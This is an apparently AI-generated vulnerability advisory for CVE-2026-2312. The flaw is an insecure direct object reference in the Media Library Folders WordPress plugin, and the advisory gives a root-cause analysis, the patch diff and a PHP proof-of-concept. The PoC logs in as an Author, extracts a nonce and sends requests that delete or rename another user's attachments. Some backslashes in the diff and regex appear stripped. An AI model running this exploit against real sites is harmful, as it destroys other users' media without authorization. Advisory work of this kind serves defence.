Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2312: Media Library Folders <= 8.3.6 – Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Attachment Deletion and Rename (media-library-plus)

CVE ID CVE-2026-2312
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 8.3.6
Patched Version 8.3.7
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2312:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Media Library Folders WordPress plugin, affecting versions up to and including 8.3.6. It allows authenticated attackers with Author-level permissions or higher to delete or rename attachments belonging to other users, including administrators. The CVSS score is 4.3 (Medium).

Root Cause:
The vulnerability exists in the `delete_maxgalleria_media()` and `maxgalleria_rename_image()` functions within the `media-library-plus.php` file. Both functions accept user-controlled parameters (`serial_delete_ids` and `image_id` respectively) without performing object-level authorization checks. The functions verify the user has the `upload_files` capability and validate a nonce, but they fail to verify the requesting user owns the target attachment or has permission to modify it. This missing validation creates an IDOR condition.

Exploitation:
An attacker with Author privileges sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `delete_maxgalleria_media` or `maxgalleria_rename_image`. For deletion, the attacker supplies a comma-separated list of target attachment IDs via the `serial_delete_ids` parameter. For renaming, the attacker supplies the target attachment ID via `image_id` and the new name via `new_file_name`. The request must include a valid nonce, which Author users can obtain from the plugin’s interface. The server processes the request without checking attachment ownership.

Patch Analysis:
The patch in version 8.3.7 adds comprehensive object-level authorization to both vulnerable functions. In `delete_maxgalleria_media()`, the patch introduces a loop that calls `current_user_can(‘delete_post’, $delete_id)` for each target ID. For attachments, it also checks if the current user is the post author, unless the user has admin-like capabilities (`manage_options`). The `maxgalleria_rename_image()` function now calls `current_user_can(‘edit_post’, $file_id)` and performs the same owner check. The patch also removes the `wp_ajax_nopriv_` hooks, preventing unauthenticated access. Additionally, the rename function no longer deletes all postmeta for the target attachment, preserving custom field data.

Impact:
Successful exploitation allows an authenticated attacker to delete arbitrary media attachments from the WordPress site, causing permanent data loss. The rename function also deletes all generated thumbnail files for the target attachment and, in the vulnerable version, deletes all associated postmeta, which can include critical metadata from plugins like ACF or SEO tools. This attack can disrupt site functionality, remove administrative media, and cause collateral damage to posts or pages that reference the affected attachments.

Differential between vulnerable and patched code

Code Diff
--- a/media-library-plus/includes/media-library.php
+++ b/media-library-plus/includes/media-library.php
@@ -1117,7 +1117,7 @@
       jQuery.ajax({
         type: "POST",
         async: true,
-        data: { action: "mlfp_load_image", src: src, nonce: mgmlp_ajax.nonce },
+        data: { action: "mlfp_load_image", src: src, nonce: mgmlp_ajax.lin_nonce },
         url: mgmlp_ajax.ajaxurl,
         success: function (data) {
           if(data.length > 0)
--- a/media-library-plus/media-library-plus.php
+++ b/media-library-plus/media-library-plus.php
@@ -3,7 +3,7 @@
 Plugin Name: Media Library Folders
 Plugin URI: https://maxgalleria.com
 Description: Gives you the ability to adds folders and move files in the WordPress Media Library.
-Version: 8.3.6
+Version: 8.3.7
 Author: Max Foundry
 Author URI: https://maxfoundry.com

@@ -75,7 +75,7 @@

 	public function set_global_constants() {
 		define('MAXGALLERIA_MEDIA_LIBRARY_VERSION_KEY', 'maxgalleria_media_library_version');
-		define('MAXGALLERIA_MEDIA_LIBRARY_VERSION_NUM', '8.3.6');
+		define('MAXGALLERIA_MEDIA_LIBRARY_VERSION_NUM', '8.3.7');
 		define('MAXGALLERIA_MEDIA_LIBRARY_IGNORE_NOTICE', 'maxgalleria_media_library_ignore_notice');
 		define('MAXGALLERIA_MEDIA_LIBRARY_PLUGIN_NAME', trim(dirname(plugin_basename(__FILE__)), '/'));
     if(!defined('MAXGALLERIA_MEDIA_LIBRARY_PLUGIN_DIR'))
@@ -84,6 +84,10 @@
 		  define('MAXGALLERIA_MEDIA_LIBRARY_PLUGIN_URL', plugin_dir_url('') . MAXGALLERIA_MEDIA_LIBRARY_PLUGIN_NAME);
 		if(!defined('MAXGALLERIA_MEDIA_LIBRARY_NONCE'))
       define("MAXGALLERIA_MEDIA_LIBRARY_NONCE", "mgmlp_nonce");
+
+		if(!defined('MLFP_LOAD_IMAGE_NONCE'))
+      define("MLFP_LOAD_IMAGE_NONCE", "mlfp_load_image_nonce");
+
 		if(!defined('MAXGALLERIA_MEDIA_LIBRARY_POST_TYPE'))
       define("MAXGALLERIA_MEDIA_LIBRARY_POST_TYPE", "mgmlp_media_folder");
     define("MAXGALLERIA_MEDIA_LIBRARY_UPLOAD_FOLDER_NAME", "mgmlp_upload_folder_name");
@@ -201,9 +205,8 @@
     add_action('wp_ajax_nopriv_create_new_folder', array($this, 'create_new_folder'));
     add_action('wp_ajax_create_new_folder', array($this, 'create_new_folder'));

-    add_action('wp_ajax_nopriv_delete_maxgalleria_media', array($this, 'delete_maxgalleria_media'));
     add_action('wp_ajax_delete_maxgalleria_media', array($this, 'delete_maxgalleria_media'));
-
+
     add_action('wp_ajax_nopriv_upload_attachment', array($this, 'upload_attachment'));
     add_action('wp_ajax_upload_attachment', array($this, 'upload_attachment'));

@@ -217,7 +220,6 @@
     add_action('wp_ajax_nopriv_add_to_max_gallery', array($this, 'add_to_max_gallery'));
     add_action('wp_ajax_add_to_max_gallery', array($this, 'add_to_max_gallery'));

-    add_action('wp_ajax_nopriv_maxgalleria_rename_image', array($this, 'maxgalleria_rename_image'));
     add_action('wp_ajax_maxgalleria_rename_image', array($this, 'maxgalleria_rename_image'));

     add_action('wp_ajax_nopriv_sort_contents', array($this, 'sort_contents'));
@@ -411,13 +413,13 @@
               jQuery(clone).attr('id', image_id);
               jQuery(clone).attr('src', '');
               jQuery(clone).removeAttr('srcset');
-              // replace with new element in order to loadd the image
+              // replace with new element in order to load the image
               jQuery(element).replaceWith(clone);

               jQuery.ajax({
                 type: "POST",
                 async: false,
-                data: { action: "mlfp_load_image", src: src, nonce: '<?php echo wp_create_nonce(MAXGALLERIA_MEDIA_LIBRARY_NONCE) ?>' },
+                data: { action: "mlfp_load_image", src: src, nonce: '<?php echo wp_create_nonce(MLFP_LOAD_IMAGE_NONCE) ?>' },
                 url: '<?php echo admin_url('admin-ajax.php') ?>',
                 success: function (data) {
                   if(data.length > 0)
@@ -440,7 +442,7 @@
   /* manually loads an image file */
   public function mlfp_load_image () {

-    if ( !wp_verify_nonce( $_POST['nonce'], MAXGALLERIA_MEDIA_LIBRARY_NONCE)) {
+    if ( !wp_verify_nonce( $_POST['nonce'], MLFP_LOAD_IMAGE_NONCE)) {
       exit(esc_html__('Missing nonce! Please refresh this page.','maxgalleria-media-library'));
     }

@@ -732,6 +734,7 @@
                        'folder_check' => esc_html__('Checking for new folders...', 'maxgalleria-media-library' ),
                        'bda_user_role' => $this->bda_user_role,
                        'link_copied' => esc_html__('download link has been copied to the clipboard', 'maxgalleria-media-library'),
+                       'lin_nonce'=> wp_create_nonce(MLFP_LOAD_IMAGE_NONCE),
                        'nonce'=> wp_create_nonce(MAXGALLERIA_MEDIA_LIBRARY_NONCE))
                      );

@@ -775,6 +778,7 @@
     return array(
       'ajaxurl' => admin_url( 'admin-ajax.php' ),
       'nonce'=> wp_create_nonce(MAXGALLERIA_MEDIA_LIBRARY_NONCE),
+      'lin_nonce'=> wp_create_nonce(MLFP_LOAD_IMAGE_NONCE),
       'upload_message' => esc_html__('Select the folder where you wish to view or upload files.', 'maxgalleria-media-library'),
       'uploads_folder_id' => $upload_id,
       'bda' => $this->bda,
@@ -2871,6 +2875,211 @@
   }

   public function delete_maxgalleria_media() {
+
+    global $wpdb, $is_IIS;
+
+    $folder_deleted = true;
+    $message        = '';
+
+    /**
+     * Combined auth gate:
+     * - Must be logged in
+     * - Must have upload_files capability
+     */
+    if ( ! is_user_logged_in() || ! current_user_can( 'upload_files' ) ) {
+      // Keep original wording for capability failure, but also covers not-logged-in
+      $data = array(
+        'message' => esc_html__( 'You do not have the capability to upload files.', 'maxgalleria-media-library' ),
+        'refresh' => false,
+      );
+      echo wp_json_encode( $data );
+      wp_die();
+    }
+
+    // Nonce check
+    $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+    if ( ! wp_verify_nonce( $nonce, MAXGALLERIA_MEDIA_LIBRARY_NONCE ) ) {
+      $data = array(
+        'message' => esc_html__( 'Missing or invalid nonce! Please refresh this page.', 'maxgalleria-media-library' ),
+        'refresh' => false,
+      );
+      echo wp_json_encode( $data );
+      wp_die();
+    }
+
+    // Parse IDs as absint list
+    $delete_ids = array();
+    if ( isset( $_POST['serial_delete_ids'] ) ) {
+      $raw = wp_unslash( $_POST['serial_delete_ids'] );
+      $raw = str_replace( '"', '', $raw );
+      $parts = array_filter( array_map( 'trim', explode( ',', $raw ) ) );
+      $delete_ids = array_values( array_filter( array_map( 'absint', $parts ) ) );
+    }
+
+    // Parent folder
+    $parent_folder = isset( $_POST['parent_id'] ) ? absint( wp_unslash( $_POST['parent_id'] ) ) : 0;
+    if ( ! $parent_folder ) {
+      $parent_folder = (int) $this->uploads_folder_ID;
+    }
+
+    $table          = $wpdb->prefix . MAXGALLERIA_MEDIA_LIBRARY_FOLDER_TABLE;
+    $current_user_id = get_current_user_id();
+    $is_admin_like   = current_user_can( 'manage_options' ); // "admin-like" gate
+
+    foreach ( $delete_ids as $delete_id ) {
+
+      // prevent uploads folder from being deleted
+      if ( (int) $delete_id === (int) $this->uploads_folder_ID ) {
+        $message = esc_html__( 'The uploads folder cannot be deleted.', 'maxgalleria-media-library' );
+        $data = array( 'message' => $message, 'refresh' => false );
+        echo wp_json_encode( $data );
+        wp_die();
+      }
+
+      // Load the post object once (also protects against missing IDs)
+      $post = get_post( $delete_id );
+      if ( ! $post ) {
+        continue;
+      }
+
+      // 2) For each ID: current_user_can('delete_post', $id) must pass
+      if ( ! current_user_can( 'delete_post', $delete_id ) ) {
+        continue; // or return an error if you prefer strict behavior
+      }
+
+      // 4) For folder post type: admin-only
+      if ( $post->post_type === MAXGALLERIA_MEDIA_LIBRARY_POST_TYPE && ! $is_admin_like ) {
+        continue;
+      }
+
+      // 3) For attachments: enforce owner-only unless admin-like
+      if ( $post->post_type === 'attachment' && ! $is_admin_like ) {
+        if ( (int) $post->post_author !== (int) $current_user_id ) {
+          continue;
+        }
+      }
+
+      $sql = $wpdb->prepare(
+        "SELECT p.post_title, p.post_type, pm.meta_value AS attached_file
+         FROM {$wpdb->posts} p
+         LEFT JOIN {$wpdb->postmeta} pm
+           ON (pm.post_id = p.ID AND pm.meta_key = %s)
+         WHERE p.ID = %d",
+        '_wp_attached_file',
+        $delete_id
+      );
+
+      $row = $wpdb->get_row( $sql );
+      if ( ! $row ) {
+        continue;
+      }
+
+      $baseurl        = rtrim( $this->upload_dir['baseurl'], '/' ) . '/';
+      $image_location = $baseurl . ltrim( (string) $row->attached_file, '/' );
+      $folder_path    = $this->get_absolute_path( $image_location );
+      $del_post       = array( 'post_id' => $delete_id );
+
+      if ( $row->post_type === MAXGALLERIA_MEDIA_LIBRARY_POST_TYPE ) { // folder
+
+        $sql_count  = $wpdb->prepare( "SELECT COUNT(*) FROM {$table} WHERE folder_id = %d", $delete_id );
+        $row_count  = (int) $wpdb->get_var( $sql_count );
+
+        if ( $row_count > 0 ) {
+          $message = esc_html__( 'The folder, ', 'maxgalleria-media-library' ) . $row->post_title .
+            esc_html__( ', is not empty. Please delete or move files from the folder', 'maxgalleria-media-library' ) . PHP_EOL;
+
+          $data = array( 'message' => esc_html( $message ), 'refresh' => false );
+          echo wp_json_encode( $data );
+          wp_die();
+        }
+
+        if ( file_exists( $folder_path ) && is_dir( $folder_path ) ) {
+          @chmod( $folder_path, 0777 );
+          $this->remove_hidden_files( $folder_path );
+
+          if ( $this->is_dir_empty( $folder_path ) ) {
+            if ( ! rmdir( $folder_path ) ) {
+              $message = esc_html__( 'The folder could not be deleted.', 'maxgalleria-media-library' );
+            }
+          } else {
+            $message        = esc_html__( 'The folder is not empty and could not be deleted.', 'maxgalleria-media-library' );
+            $folder_deleted = false;
+          }
+        }
+
+        if ( $folder_deleted ) {
+          wp_delete_post( $delete_id, true );
+          $wpdb->delete( $table, $del_post );
+          $message = esc_html__( 'The folder was deleted.', 'maxgalleria-media-library' );
+        }
+
+        $folders = $this->get_folder_data( $parent_folder );
+        $data = array(
+          'message' => esc_html( $message ),
+          'folders' => $folders,
+          'refresh' => $folder_deleted,
+        );
+        echo wp_json_encode( $data );
+        wp_die();
+
+      } else { // attachment (or other non-folder post types)
+
+        // Ensure we only call wp_delete_attachment on attachments
+        if ( $post->post_type !== 'attachment' ) {
+          continue;
+        }
+
+        $metadata            = wp_get_attachment_metadata( $delete_id );
+        $image_path          = $this->get_absolute_path( $image_location );
+        $path_to_thumbnails  = pathinfo( $image_path, PATHINFO_DIRNAME );
+
+        if ( wp_delete_attachment( $delete_id, true ) !== false ) {
+          $wpdb->delete( $table, $del_post );
+          $message = esc_html__( 'The file(s) were deleted', 'maxgalleria-media-library' ) . PHP_EOL;
+
+          // ensure the attachment is deleted
+          if ( file_exists( $image_path ) ) {
+            unlink( $image_path );
+          }
+
+          if ( isset( $metadata['sizes'] ) && is_array( $metadata['sizes'] ) ) {
+            foreach ( $metadata['sizes'] as $source_path ) {
+              if ( empty( $source_path['file'] ) ) {
+                continue;
+              }
+
+              $thumbnail_file = $path_to_thumbnails . DIRECTORY_SEPARATOR . $source_path['file'];
+
+              if ( $is_IIS || strtoupper( substr( PHP_OS, 0, 3 ) ) === 'WIN' || strtoupper( substr( PHP_OS, 0, 13 ) ) === 'MICROSOFT-IIS' ) {
+                $thumbnail_file = str_replace( '/', '\', $thumbnail_file );
+              }
+
+              if ( file_exists( $thumbnail_file ) ) {
+                unlink( $thumbnail_file );
+              }
+            }
+          }
+
+        } else {
+          $message = esc_html__( 'The file(s) were not deleted', 'maxgalleria-media-library' ) . PHP_EOL;
+        }
+      }
+    }
+
+    $files   = $this->display_folder_contents( $parent_folder, true, '', false );
+    $refresh = true;
+
+    $data = array(
+      'message' => esc_html( $message ),
+      'files'   => $files,
+      'refresh' => $refresh,
+    );
+
+    echo wp_json_encode( $data );
+    wp_die();
+  }
+
+  public function delete_maxgalleria_media1() {

     global $wpdb, $is_IIS;
     $delete_ids = array();
@@ -3401,7 +3610,7 @@
               jQuery.ajax({
                 type: 'POST',
                 async: true,
-                data: { action: 'mlfp_load_image', src: src, nonce: mgmlp_ajax.nonce },
+                data: { action: 'mlfp_load_image', src: src, nonce: '<?php echo wp_create_nonce(MLFP_LOAD_IMAGE_NONCE) ?>' },
                 url: mgmlp_ajax.ajaxurl,
                 success: function (data) {
                   if(data.length > 0)
@@ -3418,8 +3627,286 @@
     </script>
     <?php
   }
-
+
   public function maxgalleria_rename_image() {
+
+    global $wpdb, $blog_id, $is_IIS;
+
+    /**
+     * Combined auth gate:
+     * - Must be logged in
+     * - Must have upload_files capability
+     */
+    if ( ! is_user_logged_in() || ! current_user_can( 'upload_files' ) ) {
+      // Keep original wording for capability failure, but also covers not-logged-in
+      $data = array(
+        'message' => esc_html__( 'You do not have the capability to upload files.', 'maxgalleria-media-library' ),
+        'refresh' => false,
+      );
+      echo wp_json_encode( $data );
+      wp_die();
+    }
+
+    // Nonce check
+    $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+    if ( ! wp_verify_nonce( $nonce, MAXGALLERIA_MEDIA_LIBRARY_NONCE ) ) {
+      echo esc_html__( 'missing nonce! Please refresh this page.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Baseline capability check (keep existing behavior)
+    if ( ! current_user_can( 'upload_files' ) ) {
+      echo esc_html__( 'You do not have the capability to upload files.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Input: file id
+    $file_id = isset( $_POST['image_id'] ) ? absint( wp_unslash( $_POST['image_id'] ) ) : 0;
+    if ( ! $file_id ) {
+      echo esc_html__( 'Invalid image ID.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Input: new file name (base name, without extension; extension is kept from original)
+    $new_file_name = isset( $_POST['new_file_name'] ) ? trim( sanitize_text_field( wp_unslash( $_POST['new_file_name'] ) ) ) : '';
+    if ( $new_file_name === '' ) {
+      echo esc_html__( 'Invalid file name.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Do not allow whitespace
+    if ( preg_match( '/s/', $new_file_name ) ) {
+      echo esc_html__( 'The file name cannot contain spaces or tabs.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Block path traversal / separators explicitly
+    if ( strpos( $new_file_name, '/' ) !== false || strpos( $new_file_name, '\' ) !== false || strpos( $new_file_name, '..' ) !== false ) {
+      echo esc_html__( 'Invalid file name.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Sanitize base name (no extension expected here)
+    $new_file_name = sanitize_file_name( $new_file_name );
+    if ( $new_file_name === '' ) {
+      echo esc_html__( 'Invalid file name.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    /**
+     * Object-level authorization (IDOR fix)
+     * - Must be allowed to edit this attachment
+     * - Owner-only unless admin-like
+     */
+    $post = get_post( $file_id );
+    if ( ! $post || $post->post_type !== 'attachment' ) {
+      echo esc_html__( 'The file does not exist on this site.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    if ( ! current_user_can( 'edit_post', $file_id ) ) {
+      echo esc_html__( 'You are not allowed to rename this file.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    $is_admin_like = current_user_can( 'manage_options' );
+    if ( ! $is_admin_like && (int) $post->post_author !== (int) get_current_user_id() ) {
+      echo esc_html__( 'You are not allowed to rename files you do not own.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Fetch current attached file path
+    $sql = $wpdb->prepare(
+      "SELECT p.ID, pm.meta_value AS attached_file, p.post_title, p.post_name
+       FROM {$wpdb->posts} p
+       LEFT JOIN {$wpdb->postmeta} pm
+         ON (pm.post_id = p.ID AND pm.meta_key = %s)
+       WHERE p.ID = %d",
+      '_wp_attached_file',
+      $file_id
+    );
+
+    $row = $wpdb->get_row( $sql );
+
+    if ( empty( $row ) ) {
+      echo esc_html__( 'The file does not exist on this site.', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // Build locations/paths
+    $image_location = $this->build_location_url( $row->attached_file );
+
+    // Preserve alt text
+    $alt_text = get_post_meta( $file_id, '_wp_attachment_image_alt', true );
+
+    // Keep original extension, but allow changing base name
+    $original_ext        = pathinfo( $image_location, PATHINFO_EXTENSION );
+    $full_new_file_name  = $new_file_name . '.' . $original_ext;
+
+    $destination_path = $this->get_absolute_path( pathinfo( $image_location, PATHINFO_DIRNAME ) );
+    $new_file_name    = wp_unique_filename( $destination_path, $full_new_file_name, null );
+
+    $new_file_title = $this->remove_extension( $new_file_name );
+
+    $old_file_path = $this->get_absolute_path( $image_location );
+
+    $new_file_url = pathinfo( $image_location, PATHINFO_DIRNAME ) . DIRECTORY_SEPARATOR . $new_file_name;
+
+    if ( is_multisite() ) {
+      $url_slug     = 'site' . $blog_id . '/';
+      $new_file_url = str_replace( $url_slug, '', $new_file_url );
+    }
+
+    $new_file_path = $this->get_absolute_path( $new_file_url );
+
+    if ( $this->is_windows() ) {
+      $old_file_path = str_replace( '\', '/', $old_file_path );
+      $new_file_path = str_replace( '\', '/', $new_file_path );
+    }
+
+    $rename_image_location = $this->get_base_file( $image_location );
+    $rename_destination    = $this->get_base_file( $new_file_url );
+
+    $position = strrpos( $image_location, '.' );
+    $image_location_no_extension = ( $position !== false ) ? substr( $image_location, 0, $position ) : $image_location;
+
+    // Rename file on disk
+    if ( rename( $old_file_path, $new_file_path ) ) {
+
+      /**
+       * Keep explicit thumbnail deletion (as requested / real-world behavior)
+       * Guard for missing metadata or missing sizes.
+       */
+      $metadata = wp_get_attachment_metadata( $file_id );
+      $path_to_thumbnails = pathinfo( $old_file_path, PATHINFO_DIRNAME );
+
+      if ( is_array( $metadata ) && isset( $metadata['sizes'] ) && is_array( $metadata['sizes'] ) ) {
+        foreach ( $metadata['sizes'] as $source_path ) {
+          if ( empty( $source_path['file'] ) ) {
+            continue;
+          }
+
+          $thumbnail_file = $path_to_thumbnails . DIRECTORY_SEPARATOR . $source_path['file'];
+
+          if ( $is_IIS || strtoupper( substr( PHP_OS, 0, 3 ) ) === 'WIN' || strtoupper( substr( PHP_OS, 0, 13 ) ) === 'MICROSOFT-IIS' ) {
+            $thumbnail_file = str_replace( '/', '\', $thumbnail_file );
+          }
+
+          if ( file_exists( $thumbnail_file ) ) {
+            unlink( $thumbnail_file );
+          }
+        }
+      }
+
+      // Update attachment post record
+      $data = array(
+        'guid'       => $new_file_url,
+        'post_title' => $new_file_title,
+        'post_name'  => $new_file_name,
+      );
+      $where = array( 'ID' => $file_id );
+      $wpdb->update( $wpdb->posts, $data, $where );
+
+      /**
+       * IMPORTANT FIX: do NOT wipe all postmeta for this attachment.
+       * This preserves ACF / SEO / custom fields.
+       */
+
+      // get the uploads dir name
+      $basedir = $this->upload_dir['baseurl'];
+      $uploads_dir_name_pos = strrpos( $basedir, '/' );
+      $uploads_dir_name = ( $uploads_dir_name_pos !== false ) ? substr( $basedir, $uploads_dir_name_pos + 1 ) : '';
+
+      // find the name and cut off the part with the uploads path
+      $string_position = ( $uploads_dir_name !== '' ) ? strpos( $new_file_url, $uploads_dir_name ) : false;
+      $uploads_dir_length = strlen( $uploads_dir_name ) + 1;
+
+      if ( $string_position !== false ) {
+        $uploads_location = substr( $new_file_url, $string_position + $uploads_dir_length );
+      } else {
+        // Fallback: best-effort relative path
+        $uploads_location = ltrim( $new_file_url, '/' );
+      }
+
+      if ( $this->is_windows() ) {
+        $uploads_location = str_replace( '\', '/', $uploads_location );
+      }
+
+      $uploads_location = ltrim( $uploads_location, '/' );
+
+      update_post_meta( $file_id, '_wp_attached_file', $uploads_location );
+
+      if ( strlen( trim( $alt_text ) ) > 0 ) {
+        update_post_meta( $file_id, '_wp_attachment_image_alt', $alt_text );
+      }
+
+      // Regenerate metadata for the renamed file
+      $attach_data = wp_generate_attachment_metadata( $file_id, $new_file_path );
+      wp_update_attachment_metadata( $file_id, $attach_data );
+
+      // SiteOrigin Panels updates (unchanged)
+      if ( class_exists( 'SiteOrigin_Panels' ) ) {
+        $this->update_serial_postmeta_records( $rename_image_location, $rename_destination );
+      }
+
+      // Beaver Builder updates (hardened query, rest unchanged)
+      if ( class_exists( 'FLBuilderLoader' ) ) {
+
+        $like = '%' . $wpdb->esc_like( $rename_image_location ) . '%';
+        $bb_sql = $wpdb->prepare(
+          "SELECT ID FROM {$wpdb->posts} WHERE post_content LIKE %s",
+          $like
+        );
+
+        $records = $wpdb->get_results( $bb_sql );
+
+        foreach ( $records as $record ) {
+          $this->update_bb_postmeta( $record->ID, $rename_image_location, $rename_destination );
+        }
+
+        // clearing BB caches
+        if ( class_exists( 'FLBuilderModel' ) && method_exists( 'FLBuilderModel', 'delete_asset_cache_for_all_posts' ) ) {
+          FLBuilderModel::delete_asset_cache_for_all_posts();
+        }
+        if ( class_exists( 'FLCustomizer' ) && method_exists( 'FLCustomizer', 'clear_all_css_cache' ) ) {
+          FLCustomizer::clear_all_css_cache();
+        }
+      }
+
+      // Update post content links across posts (hardened query)
+      $replace_sql = $wpdb->prepare(
+        "UPDATE {$wpdb->posts}
+         SET post_content = REPLACE(post_content, %s, %s)",
+        $rename_image_location,
+        $rename_destination
+      );
+      $result = $wpdb->query( $replace_sql );
+
+      // for updating wp pagebuilder (unchanged)
+      if ( defined( 'WPPB_LICENSE' ) ) {
+        $this->update_wppb_data( $image_location_no_extension, $new_file_url );
+      }
+
+      // for updating themify images (unchanged)
+      if ( function_exists( 'themify_builder_activate' ) ) {
+        $this->update_themify_data( $image_location_no_extension, $new_file_url );
+      }
+
+      // for updating elementor background images (unchanged)
+      if ( is_plugin_active( "elementor/elementor.php" ) ) {
+        $this->update_elementor_data( $file_id, $image_location_no_extension, $new_file_url );
+      }
+
+      echo esc_html__( 'Updating attachment links, please wait...The file was renamed', 'maxgalleria-media-library' );
+      die();
+    }
+
+    // If rename failed
+    echo esc_html__( 'The file could not be renamed.', 'maxgalleria-media-library' );
+    die();
+  }
+
+  public function maxgalleria_rename_image1() {

     global $wpdb, $blog_id, $is_IIS;

--- a/media-library-plus/mlp-reset.php
+++ b/media-library-plus/mlp-reset.php
@@ -5,7 +5,7 @@
 Description: Plugin for reseting Media Library Folders
 Author: Max Foundry
 Author URI: https://maxfoundry.com
-Version: 8.3.6
+Version: 8.3.7
 Copyright 2015-2021 Max Foundry, LLC (https://maxfoundry.com)
 Text Domain: mlp-reset
 */

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2312 - Media Library Folders <= 8.3.6 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Attachment Deletion and Rename

<?php

$target_url = 'http://vulnerable-site.com';
$username = 'attacker_author';
$password = 'author_password';
$target_attachment_id = 123; // ID of an attachment owned by another user (e.g., an admin)

// Step 1: Authenticate and obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Visit the Media Library Folders page to obtain the required nonce
// The nonce is embedded in JavaScript via wp_localize_script as mgmlp_ajax.nonce
$media_library_url = $target_url . '/wp-admin/upload.php?page=media-library-folders';
curl_setopt($ch, CURLOPT_URL, $media_library_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract the nonce from the page (simplified regex, actual implementation may need adjustment)
preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to extract nonce. The user may not have access to the Media Library Folders interface.');
}

// Step 3: Exploit the IDOR to delete an attachment owned by another user
$post_data = array(
    'action' => 'delete_maxgalleria_media',
    'serial_delete_ids' => '"' . $target_attachment_id . '"', // The plugin expects quoted IDs
    'nonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);

echo "Delete Request Sent. Response:n";
print_r($response);

// Step 4: Alternatively, exploit the rename function (which also deletes thumbnails and postmeta)
$rename_data = array(
    'action' => 'maxgalleria_rename_image',
    'image_id' => $target_attachment_id,
    'new_file_name' => 'hacked_by_author',
    'nonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $rename_data);
$response = curl_exec($ch);

echo "nnRename Request Sent. Response:n";
print_r($response);

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School